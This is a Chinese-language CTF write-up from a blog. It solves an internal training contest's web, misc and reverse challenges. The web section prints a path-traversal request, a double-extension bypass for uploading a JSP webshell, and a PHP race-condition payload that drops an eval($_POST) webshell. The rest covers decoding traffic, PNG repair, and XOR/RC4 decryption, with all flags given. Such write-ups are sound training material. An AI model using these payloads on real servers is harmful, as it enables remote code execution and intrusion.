2024年某公司内部训练赛

WEB

0x01 签到

根据题目的提示

直接读取flag文件即可

修改请求

/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/flag

1
flag{205d81bf-4985-4ee2-a2a6-cdba21a368d0}

0x02 upload


上传jsp一句话木马,

对文件的后缀会进行拦截并实体化输出不执行,使用双文件名绕过

jjspsp

可以看到成功上传jsp

访问并测试蚁剑是否连接

1
flag{e1b38cee-6901-4dd1-9897-40583c7ff860}

0x03 ez_upload

扫描得到文件上传的路径

测试发现允许上传图片类型的文件,尝试使用条件竞争

并发上传和访问

1
2
3
<?php 
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
?>

访问shell.php

蚁剑测试连接

1
flag{5dffd599-73d9-4425-9869-8bd4baa334dc}

MISC

0x01 flooding

观察流量可以看到传输地址处有十六进制数据,且最后两位数字都不相同,提取查看解码之后的内容

进行base32解码,得到后半段flag

4fc8-8aad-f42f87fcac2b}

再继续观察数据包的前段流量

观察两段流量后发现,再hi后面的字符有变动,将其提取

ZmxhZ3s1NTdiNjUyYi1kZDRlLQ==

进行base64解码后得到前半段flag

1
flag{557b652b-dd4e-4fc8-8aad-f42f87fcac2b}

0x02 png_1

将十六进制放到HXD中

缺少了文件头,添加一个png文件头部

平平无奇,放到工具里显示crc报错,猜测可能修改过宽高

使用脚本计算出原始宽高crc

1
flag{5730abaf-2365-4762-b228-e167769227c1}

REVERSE

0x01 apk

两个主要文件

一个是zbase32加密

另一个主函数文件为待解密密文

c3sgn355cp1seqj1gw3skmmggo5dnmjwgy3snmjagr5u1mjigo3gcqbtg3udna3uci6o====

1
https://www.dcode.fr/z-base-32-encoding

1
flag{ced9253e-f461-403a-8179-542f816f1c3e}

0x02 xor

主代码

小端序与key异或即可

1
2
3
4
5
6
7
8
9
10
11
12
key = 'SEcRET7'
enc = [0x35, 0x29, 0x02, 0x35, 0x3E, 0x35, 0x0F, 0x60,
0x20, 0x06, 0x64, 0x26, 0x65, 0x1A, 0x61, 0x77,
0x5A, 0x64, 0x68, 0x60, 0x53, 0x60, 0x20, 0x4E,
0x6B, 0x21, 0x67, 0x54, 0x7E, 0x71, 0x51, 0x64,
0x75, 0x60, 0x51, 0x64, 0x73, 0x05, 0x65, 0x21,
0x61, 0x4A]
for i in range(len(enc)):
enc[i] ^= ord(key[i % 7])
for x in enc:
print(chr(x), end='')
flag{a83ee6c1-2296-4d3e-9d3c-42604f76f7d5}

0x03 RC4


直接将加密过后的hex进行rc解密即可

1
2
88 76 D7 7A B4 5A 4C C7 DC EF C9 8E DA 59 0E 98 8F FB 0B D4 E2 B1 13 60 E6 C7 86 2B DC 71 D4 30 ED 2A 89 61 83 80 28 F2 92 E2
The quick brown fox jumps over a lazy dog.

1
flag{c8fd99f1-841a-44c9-8d38-746db6ff95c1}

2024年某公司内部训练赛
http://52yang.top/2024/11/02/2024-nb-xls-qmxc/
作者
Ch1p3
发布于
2024年11月2日
许可协议